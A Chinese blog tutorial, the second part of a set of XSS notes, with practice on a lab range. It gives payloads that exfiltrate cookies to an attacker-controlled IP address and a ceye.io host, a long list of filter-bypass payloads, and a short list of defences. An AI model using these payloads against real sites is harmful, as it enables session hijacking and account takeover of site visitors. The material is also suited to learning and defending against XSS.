XSS攻击笔记(下)

这是XSS笔记下半部分,因为可能字数原因,注意回顾上半部分;
作者:博客园-狐小妖

实战模拟

靶场:https://xss.haozi.me/

反射型xss

我们获得一个编辑框,我们在编辑框中,或者请求参数里面提交xss语句,我们这里要盗取cookie,可以借用一个平台:https://xss.pt/

创建一个项目,然后所有功能都勾选上,然后我们复制项目这一句粘贴到编辑框中;

其实也可以在自己服务器上开启监听,然后在编辑框中输入:

<script>document.location='http://39.108.189.85:1084/?cookie='+document.cookie;</script>

提交成功之后我们就可以回到xss平台上查看我们获得的数据了,点击项目

dom型xss

如果不想使用xss平台,而是想使用传到我们自己服务器上的方法,那我们先开启监听

然后在编辑框中输入:(39.108.189.85:1084是我们自己服务器的地址;39.108.189.85:1085是目标服务器地址)

<script>document.location='http://39.108.189.85:1084/?cookie='+document.cookie;</script>

也可以使用ceye.io平台,前面有说过:

然后复制的粘贴改成下面这样:

<script>document.location='http://dmv1so.ceye.io?cookie='+document.cookie</script>

粘贴到目标服务器的编辑框中,提交:

回到ceye.io,刷新:

存储型xss

如果是黑客将上方代码插入到过滤不严谨的留言区、评论区,所有访问到插入代码的数据位置的人,cookie都将会被转发到黑客指定的服务器上,这样黑客就可以利用你的cookie去登录该站点了;

因为插入的代码将会一直被存储在服务器的数据库中,而有人翻看留言区、评论区等都有可能浏览到黑客插入代码的地方,当只要被请求到本地,那么cookie就会被转发到黑客服务器上;
作者:博客园-狐小妖

xss绕过

  • 闭合标签绕过

    • <textarea>、<title>等RCDATA标签内无法xss需要先使用</title>闭合
    • value等元素属性闭合
    • 注释闭合
  • 绕过小括号、双引号、单引号

    • 利用反引号``
      • `<script>alert`1`</script>
    • 编码绕过(利用实体编码、unicode编码绕过)
      • <img src=x onerror="alert&#x28;1&#x29;"> 属性内可以识别html实体编码
      • <svg><script>alert&#40;1&#41</script> <svg> 遵循XML 和 SVG 的定义
  • 混淆绕过(利用html语法不严格、容错性)

    • 换行

    • 缺失>闭合的标签

    • 空格、TAB

  • 关键字绕过

    • 大小写绕过

    • 编码绕过

      <img src=1 onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>		(实体编码绕过)
      <svg><script>&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;</script>
      
    • 字符拼接

      <img src="x" onerror="a=`aler`;b=`t`;c='(1);';eval(a+b+c)">
      <script>top["al"+"ert"](1);</script>
      
  • 空格绕过

    • 利用/代替空格

      <img/src="x"/onerror=alert(1);>
      
    • 编码绕过(利用实体编码、unicode编码绕过)

      <img src=x onerror="alert&#x28;1&#x29;"> 			属性内可以识别html实体编码
      <svg><script>alert&#40;1&#41</script> 				<svg>遵循XML 和 SVG 的定义
      
  • 利用eval等方法绕过;作者:博客园-狐小妖

    <script>eval.call`${'alert\x281)'}`</script>
    <script>prompt.call`${1}`</script>
    img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
    
  • 可控点在标签内部的绕过

    • 当某个可控点在标签内部,那么可以利用事件绕过

      <img src=1 onerror=alert(1)>
      <a href=1 onclick=alert(1)>
      
    • 标签属性支持javascript:协议

      <iframe src=javascript:alert(1);>
      <a href=javascript:alert(1)>
      

防御xss方法

  • 对输入和URL参数进行过滤

    • 限制输入数据长度

    • 对输入数据格式进行验证(纯数字、符合邮箱、用户名格式)

    • 过滤、删除危险字符

  • 对输出进行编码

    • php使用htmlspeicalchars()函数,输出实体编码
  • 设置HttpOnly 防止cookie被js盗取

    • session.cookie_httponly=1
  • 设置CSP

    • CSP:Content Security Policy(内容安全策略),其旨在减少跨站脚本攻击。由开发者定义一些安全性的策略声明,来指定可信的
  • 针对于jsonp防御

    • 设置Content-Type为application/json
    • 利用htmlspecialchars()等方法过滤或转译参数
posted on 2022-06-27 00:11  狐小妖  阅读(138)  评论(0编辑  收藏  举报